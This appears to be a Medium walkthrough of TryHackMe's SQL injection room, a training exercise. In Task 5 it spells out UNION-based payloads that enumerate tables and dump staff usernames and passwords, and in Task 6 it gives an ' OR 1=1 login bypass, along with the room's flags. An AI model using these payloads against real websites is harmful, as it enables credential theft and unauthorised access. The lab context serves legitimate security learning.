Sitemap

SQL injection

4 min readSep 18, 2024

--

Sql Injection — TryhackMe WalkThrough

Task 1:

Press enter or click to view image in full size

Task 2:

Press enter or click to view image in full size

Task 3:

Press enter or click to view image in full size

Task 4:

Press enter or click to view image in full size

Task 5:

Start the machine

Add ‘ at the end of the link

Press enter or click to view image in full size

This throws an error which proves the avaiability of sql vulnerabilty

The first thing we need to do is return data to the browser without displaying an error message. Firstly, we’ll try the UNION operator so we can receive an extra result if we choose it. Try setting the mock browsers id parameter to:

1 UNION SELECT 1

Press enter or click to view image in full size

This statement should produce an error message informing you that the UNION SELECT statement has a different number of columns than the original SELECT query. So let’s try again but add another column:

1 UNION SELECT 1,2

Press enter or click to view image in full size

Same error again, so let’s repeat by adding another column:

1 UNION SELECT 1,2,3

Press enter or click to view image in full size

Success, the error message has gone, and the article is being displayed, but now we want to display our data instead of the article. The article is displayed because it takes the first returned result somewhere in the website’s code and shows that. To get around that, we need the first query to produce no results. This can simply be done by changing the article ID from 1 to 0.

0 UNION SELECT 1,2,3

Press enter or click to view image in full size

You’ll now see the article is just made up of the result from the UNION select, returning the column values 1, 2, and 3. We can start using these returned values to retrieve more useful information. First, we’ll get the database name that we have access to:

0 UNION SELECT 1,2,database()

Press enter or click to view image in full size

You’ll now see where the number 3 was previously displayed; it now shows the name of the database, which is sqli_one.

Our next query will gather a list of tables that are in this database.

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = ‘sqli_one’

Press enter or click to view image in full size

The query results provide three columns for the staff_users table: id, password, and username. We can use the username and password columns for our following query to retrieve the user’s information.

Get Genrunic’s stories in your inbox

Join Medium for free to get updates from this writer.

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

Press enter or click to view image in full size

Copy paste the password

Press enter or click to view image in full size
Press enter or click to view image in full size

Flag = THM{SQL_INJECTION_3840}

Press enter or click to view image in full size

Task 6:

Copy paste

‘ OR 1=1; —

In the password field and submit

Press enter or click to view image in full size

Move to level 3

Press enter or click to view image in full size

Flag: THM{SQL_INJECTION_9581}

Press enter or click to view image in full size

Task 7:

Keep on copy pasting the queries given

Press enter or click to view image in full size

Click login

Press enter or click to view image in full size

Flag= THM{SQL_INJECTION_1093}

Press enter or click to view image in full size

Task 8:

Copy paste all the commands and find out the password

Password: 4961

Press enter or click to view image in full size

Flag= THM{SQL_INJECTION_MASTER}

Press enter or click to view image in full size

Task 9

Press enter or click to view image in full size

Task 10:

Press enter or click to view image in full size

--

--

Genrunic
Genrunic

Written by Genrunic

CyberSecurity Analyst | CCNA